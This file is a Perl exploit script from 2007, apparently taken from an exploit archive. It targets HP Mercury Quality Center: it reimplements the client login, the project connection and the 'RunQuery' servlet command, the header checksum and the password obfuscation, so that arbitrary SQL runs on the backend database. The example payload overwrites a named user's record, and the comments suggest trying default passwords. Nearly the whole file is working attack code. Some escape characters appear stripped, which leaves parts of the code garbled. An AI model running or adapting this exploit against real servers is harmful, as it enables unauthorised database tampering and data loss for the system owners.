#!/usr/bin/perl
#******************************************************************
# HP Mercury Quality Center runQuery exploit.
# Run whatever SQL you want on there db - without SQL injection.
# Problem is client can do "RunQuery" command os we write program
# to do this. Client can lots other things it should not also!
# The backend database can be MSSQLServer or Oracle or nearly often
# MSDE. This changes SQL types you can send. This is a blind SQL
# attack but may be is it possible to get data out somehow?
#
# Copyright 2007 Isma Khan - Code may be freedly usuable on other
# exploits as long as name appears.
# ******************************************************************
use IO::Socket;
my $sql = "UPDATE USERS SET US_ADDRESS='0wned' WHERE US_USERNAME='paul_qc'";

#my $sql = "UPDATE USERS SET US_ADDRESS='0wned' WHERE US_USERNAME='isma-khan'";
# victim - Put yur victims hostname here.
# vicport - Port to connect on.
# u - username to login to quality center. This user provided.
# p - Psswrd to login ot quality center. Try default passwords.
# domain - A domain thhat user has access to.
# project - A proj that user has access to.
my $victim = '192.168.0.2'; 
my $vicport = 8080; 
my $u = 'alex_qc'; 
my $p= ''; 
my $domain = 'DEFAULT';
my $project = 'QualityCenter_Demo';

# ****** Login to HPQMC *******************
print "Loginn";
my @bits;
push @bits, AddString('Login');
push @bits, ""0:int:1"";
push @bits, ""0:int:-1"";
push @bits, ""0:int:-1"";
push @bits, AddString("{rnUSER_NAME:$u,rnPASSWORD:" . SmolkaEncript($p) . ",rnCLIENTTYPE:\00000018\Quality Center Client UIrn}rn");
my $tmphost="0:conststr:Bannu";
push @bits, "\" . MakeHex($tmphost) . "\" . $tmphost;
push @bits, ""65536:str:0"";
push @bits, ""0:pint:0"";
push @bits, ""0:pint:0"";
push @bits, ""0:pint:0"";

my $res=HTTPSending(@bits);
undef @bits;
my ($sesid) = $res =~ /ID:(d+)/;
die "Not loginn" unless($sesid);
print "Session ID: $sesidn";

# ***** Connect to project *********
print "Connect to projectn";
push @bits, AddString('ConnectProject');
push @bits, ""0:int:2"";
push @bits, ""0:int:$sesid"";
push @bits, ""0:int:-1"";
push @bits, AddString("{rnDOMAIN_NAME:$domain,rnPROJECT_NAME:\" . MakeHex($project) . "\$projectrn}rn");
push @bits, ""65536:str:0"";
push @bits, ""0:pint:0"";
$res = HTTPSending(@bits);
undef @bits;
my ($psesid) = $res =~ /ID:(d+)/;
die "Not projectn" unless($psesid);
print "Project Session ID: $psesidn";

# ******** Run the SQL *****
print "Run SQLn";
push @bits, AddString('RunQuery');
push @bits, ""0:int:3"";
push @bits, ""0:int:$sesid"";
push @bits, ""0:int:$psesid"";
push @bits, AddString($sql);
push @bits, ""65536:str:0"";
push @bits, ""0:int:0"";
$res = HTTPSending(@bits);
print $res;

# **** Expect to get Failed to Run Query[ERR_SEP]Messages:
# error here but SQL like INSERT or UPDATE still work.

#******************************************************************
# Make password 
#******************************************************************
sub SmolkaEncript {
	my $password=shift;
	return '' unless($password);
	my $cripted='ENRCRYPTED';
	my $base = 'SmolkaWasHereMonSher';
	my $x=0;
	for(;$x<length($password);$x++){
		$cripted = $cripted . (ord(substr($password,$x,1))+ord(substr($base,$x,1)));
		$cripted = $cripted . '!';
	}
	return $cripted;
}

# ************************************************************
# Send a text as HTTP to victim.
# ***********************************************************
sub HTTPSending {
	my $body = bits2string(@_);
	my $sock = IO::Socket::INET->new(proto=>'tcp',PeerAddr=>$victim,PeerPort=>$vicport)
		or die "Can't connect. $!n";
	my $header =	"POST /qcbin/servlet/tdservlet/TDAPI_GeneralWebTreatment HTTP/1.0rn"
.	"Content-Type: text/html; charset=UTF-8rn"
.	"X-TD-ID: " . sprintf("%08X",XTDID($body)). "rn"
. 	"User-Agent: TeamSoft WinInet Componentrn"
.	"Content-Length: " . length($body) . "rn"
.	"Pragma: no-cachern"
.	"rn";
	print $sock $header;
	print $sock $body;
	my $text;
	while(!eof($sock)){
		$text .= <$sock>;
	}
	return $text;
}

# ********* HPMQCs conststr type *********
sub AddString {
	my $str = shift;
	if (length($str)<16){
		return ""0:conststr:$str"";
	} else {
		return '\' . MakeHex("0:conststr:$str") . "\0:conststr:$str";
	}

}
# ********HPMQC uses hex digits in many place ************
sub MakeHex {
	return sprintf("%08x",length(shift));
}

# ********************************************************
# This takes @bits and make big longer string out of it.
# *******************************************************
sub bits2string {
	my @bits=@_;
	my $bitno = 0;
	my $retstr="{rn";
	foreach my $onebit (@bits){
		$retstr .= $bitno++ . ": $onebit,rn";
	}
	$retstr = substr($retstr,0,-3);
	$retstr = $retstr . "rn}rn";
	return $retstr;
}

# *************************************************
# HPMQC useid X-TD-ID header which is sum of all chars
# in body plus number 2301. Could checksum?
# **********************************************
sub XTDID {
	my $total=2301;
	my $body = shift;

	for(my $i=0;$i<length($body);$i++){
		$total += ord(substr($body,$i,1));
	}
	return $total;
}

# www.Syue.com [2007-04-03]